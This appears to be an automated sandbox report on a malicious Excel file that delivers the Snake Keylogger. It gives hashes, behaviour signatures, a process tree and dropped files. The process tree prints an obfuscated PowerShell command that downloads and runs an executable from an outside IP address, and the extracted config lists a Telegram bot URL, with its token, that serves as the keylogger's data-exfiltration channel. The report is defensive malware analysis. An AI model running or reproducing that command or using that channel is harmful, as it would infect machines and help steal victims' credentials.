Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    23-10-2024 01:19

General

  • Target

    4af00aaa090c79876c7d3c1c337cdb5244f0b05689de4e22b7ed4a84bb8eb9d8.xls

  • Size

    848KB

  • MD5

    5a232e6f517ecc2663439fcf2a28573d

  • SHA1

    155a24515072423a751465a774fc6e3e24e21f84

  • SHA256

    4af00aaa090c79876c7d3c1c337cdb5244f0b05689de4e22b7ed4a84bb8eb9d8

  • SHA512

    a96e1d03f6155e30e236d4234c0c352911d3780cd59493ea8545296dc8b42c2befed3972adfbf0001df24023e522547d00bb2de68c27d729cf689487ad5b4f49

  • SSDEEP

    12288:YmzHJE+CzldQD3DERnLRmF8D5JhuiC3LaQlOh4cjUVwUi4t7W:zczlWbARM8NTC3eQ0h4eU

Malware Config

Extracted

Family

snakekeylogger

C2

https://api.telegram.org/bot8129252196:AAFb_vUYwennKVolbwpXf3vnDfT_yhozHns/sendMessage?chat_id=7004340450

Signatures

  • Snake Keylogger

    Keylogger and Infostealer first seen in November 2020.

  • Snake Keylogger payload 3 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Evasion via Device Credential Deployment 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\4af00aaa090c79876c7d3c1c337cdb5244f0b05689de4e22b7ed4a84bb8eb9d8.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2448
  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe -Embedding
    1⤵
    • Blocklisted process makes network request
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2688
    • C:\Windows\SysWOW64\WINDowsPOweRShEll\V1.0\pOWeRSHEll.exe
      "C:\Windows\systEm32\WINDowsPOweRShEll\V1.0\pOWeRSHEll.exe" "poweRshELl.ExE -Ex ByPass -nOp -w 1 -c DEVICEcrEdeNTiALdEpLOymENt ; IEx($(IeX('[sysTEM.TExT.eNcODiNG]'+[CHAr]58+[cHAr]58+'utf8.GEtStrIng([sYStEM.CONVert]'+[cHaR]58+[ChAR]58+'FRoMBASE64stRiNG('+[chaR]0X22+'JHpWV21LICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBRGQtVHlQRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbUJFcmRlZklOaVRJb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJVcmxNb04uRGxMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVJdEd0RkxyayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHlPaGNCWkMsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnRFl3bFBXUURDLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHp1UyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFV3Z05LQ3FQWk8pOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiQ3RhaHNQek92IiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BbUVzUEFDRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgU0hrSyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHpWV21LOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTcyLjI0NS4xMjMuNDUvNTYxL3dsYW5leHQuZXhlIiwiJEVuVjpBUFBEQVRBXHdsYW5leHQuZXhlIiwwLDApO3N0QVJ0LVNsRWVQKDMpO3NUQXJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVudjpBUFBEQVRBXHdsYW5leHQuZXhlIg=='+[chAR]0X22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2088
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex ByPass -nOp -w 1 -c DEVICEcrEdeNTiALdEpLOymENt
        3⤵
        • Evasion via Device Credential Deployment
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2864
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rsstzjwn.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1564
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFA95.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCFA94.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2868
      • C:\Users\Admin\AppData\Roaming\wlanext.exe
        "C:\Users\Admin\AppData\Roaming\wlanext.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:3016
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Users\Admin\AppData\Roaming\wlanext.exe"
          4⤵
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:2200

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12

    Filesize

    1KB

    MD5

    67e486b2f148a3fca863728242b6273e

    SHA1

    452a84c183d7ea5b7c015b597e94af8eef66d44a

    SHA256

    facaf1c3a4bf232abce19a2d534e495b0d3adc7dbe3797d336249aa6f70adcfb

    SHA512

    d3a37da3bb10a9736dc03e8b2b49baceef5d73c026e2077b8ebc1b786f2c9b2f807e0aa13a5866cf3b3cafd2bc506242ef139c423eaffb050bbb87773e53881e

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8

    Filesize

    436B

    MD5

    971c514f84bba0785f80aa1c23edfd79

    SHA1

    732acea710a87530c6b08ecdf32a110d254a54c8

    SHA256

    f157ed17fcaf8837fa82f8b69973848c9b10a02636848f995698212a08f31895

    SHA512

    43dc1425d80e170c645a3e3bb56da8c3acd31bd637329e9e37094ac346ac85434df4edcdbefc05ae00aea33a80a88e2af695997a495611217fe6706075a63c58

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12

    Filesize

    174B

    MD5

    0fce0bd63c4a65dc1bea2caeb6d97bb5

    SHA1

    f018de670c8c846edda01078601098fcebc135c0

    SHA256

    f51c69140d8aea8cb82702c3e83f39754dcffdc942abf5a88ff379dc722d0cb6

    SHA512

    cdc259f079cb3bd3425ae9fddc9dd7039876ac5c87523fe6112ad8121e862f63c72e958bfc5a8a84ecb5ce97a748528f002ae2041b1d625a37247f6b88e6f926

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8

    Filesize

    170B

    MD5

    dd106773f3bab6526ea510c9e7d7483d

    SHA1

    dd157027f09dd35675e13f3016fc2356a372ac62

    SHA256

    9dea8c020f5f9440748895a7c12ded2d6c9c0b9783568a60625d0e01fc9b22bb

    SHA512

    8456385170b86e90c98ca33e61267a0e69b2c41d905a8f307e56d7f9c357e9c8937386433536515177eec9985d0f090156df00ef041a15bdaaf04b8348faae18

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\K3VL8XEP\seethemagicalpersoninmylifewithherlifegoodforme[1].hta

    Filesize

    8KB

    MD5

    24dcf722096ca6d02bbb70733ae01abc

    SHA1

    fb8166a57aaf6d4837dfb686b84ee51474941c83

    SHA256

    e0d07f596090db80fff8fb48b11999010611ac352534fadcf295c7ac47042bdd

    SHA512

    bb055ad22ba25be389d212fe6517b28244234d259cb0dc870eb7691b6ac3f99ed1d3a8408552f3f1fed9d29313a4a14d5a3fc3c08c629790990a8229f8ab33da

  • C:\Users\Admin\AppData\Local\Temp\CabF23B.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RESFA95.tmp

    Filesize

    1KB

    MD5

    78eb01d80e5bc923320ad0f2a1e9c570

    SHA1

    7afbabce5f62b53e0d57c12ba21da41d26ca6ee5

    SHA256

    7565b9fba1795c9607b0ec0d984717aebb7663c651d4fe9e73d1279e349dc68f

    SHA512

    3ece9fdba6344d18c2c7180f696118bd2ad9cd9565ac3b9def14cdc9f718c7c0af224a5a5bc49d8b7f79995dab1352df3e221cf4f22c7abee1af1da8c385a0e7

  • C:\Users\Admin\AppData\Local\Temp\rsstzjwn.dll

    Filesize

    3KB

    MD5

    82fa5cb6d09a94a60b34213d5d1174f1

    SHA1

    f449c222370410ab1f2d7f61c1a919b9b9c58654

    SHA256

    ce0a4ab83cf69a111687a6ca9fb2e55a6a16322562a3cf18fb5dbb176503219f

    SHA512

    2f785728a94b23adaff8e7b053496359a25986fb6835df2f73ef76b629e3536d6a28e14b25befbba6c62146b3e7a33f1d0b7b2729d6570c52d6173281540e3fa

  • C:\Users\Admin\AppData\Local\Temp\rsstzjwn.pdb

    Filesize

    7KB

    MD5

    daf1116c7558c164dd520ab9be74fdfd

    SHA1

    e93297b3fc332776b3049b1e07f702354eab8235

    SHA256

    00dafb9df52e57722da965ad28b2b45ecdcd85c8e4da26fd1ce5f63d14ab1dac

    SHA512

    680e762066037678ebbd437e4f0e5af82943f04093a8ceb141cdc9075ce2cda204c89f12fd1eb0271bd9cb8feb6f22a72a44e1a5d802a1591270b23fb6d34c91

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    d49b376ff1b0d85bc219a35d9e32a086

    SHA1

    61e3582805e874ae61376db5ab0653be911e2b9e

    SHA256

    56ab4143899b9e6df620827bf7fc4be653969a544f73eb3e49b70404678b2f25

    SHA512

    377f218194f917053919df5235a9887633f4af0e42adc92690a6012ab1d7c6185d620bffd3615b1eb022e7f682bed8e1001d2798973f2ee5c408d9a911fa346a

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCFA94.tmp

    Filesize

    652B

    MD5

    639e658be7b9a313410edfdefdc98d62

    SHA1

    2f50a4ce715b6136ac7a335ed52b7aa3ca3a1d94

    SHA256

    af25fcaa4f4cad47a68456f2e6f66f5741f400e7a62dc0a3485cf15c7a258ef0

    SHA512

    5f162c9c8982e6f947612ad3b423317705b38a1fce5e6fadf07daffc850eaab53790c2da8984fa90bba9c52062f552d6d74895e2121d8102619774276f67a4c4

  • \??\c:\Users\Admin\AppData\Local\Temp\rsstzjwn.0.cs

    Filesize

    483B

    MD5

    4c5d6a51b5bad9b89090a128b2676ef5

    SHA1

    13fbf9031d31d7c621c9fa9816818b341377d487

    SHA256

    c849809f9d06a8ef3bbd4de89bc706fbd851231f8dfe9f8ed84800c9b67e80d7

    SHA512

    a3f1573cee336b8efe076e8746e5a61e73d46b539cb5170f297262a5327e7b43e0c45cfe93682e93b92f20e878ae9e21e60502dbcdf492236ea642f15290601d

  • \??\c:\Users\Admin\AppData\Local\Temp\rsstzjwn.cmdline

    Filesize

    309B

    MD5

    efb8e60258b5505bda837d2d45312c00

    SHA1

    c0ede93060d646ef858db4df931f0ee6743d7b92

    SHA256

    36907a796f9d11653ddc829b779a6831afc392c124b66e82fe6a3b4227d1b3d4

    SHA512

    671f02b091c60c0b0077ab38180187035f11ddc661a56efe0b3a81f265a817d16341518a9c501e98bda3a513856ba73072367d4f829dca419dd4a14b496f5ff3

  • \Users\Admin\AppData\Roaming\wlanext.exe

    Filesize

    910KB

    MD5

    d70ae089068975f5c914ba70c40c3527

    SHA1

    b0a81c280689f14bfa4d499955c80155e045e662

    SHA256

    2385bc1316c82968a13b95bb465c19f7675a6d3504fc3b8c028c00d7acbdc022

    SHA512

    532dd387f2a6757185aa6da0983d71277c2a7d9774482f27ba6d55478a7035df8b911457523569151be68e45ca6ee0e3a1f3cbff1eaab7d8126454a204532697

  • memory/2200-69-0x0000000000400000-0x0000000000426000-memory.dmp

    Filesize

    152KB

  • memory/2200-71-0x0000000000400000-0x0000000000426000-memory.dmp

    Filesize

    152KB

  • memory/2200-70-0x0000000000400000-0x0000000000426000-memory.dmp

    Filesize

    152KB

  • memory/2448-17-0x0000000002500000-0x0000000002502000-memory.dmp

    Filesize

    8KB

  • memory/2448-1-0x000000007227D000-0x0000000072288000-memory.dmp

    Filesize

    44KB

  • memory/2448-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2448-60-0x000000007227D000-0x0000000072288000-memory.dmp

    Filesize

    44KB

  • memory/2688-16-0x0000000000B80000-0x0000000000B82000-memory.dmp

    Filesize

    8KB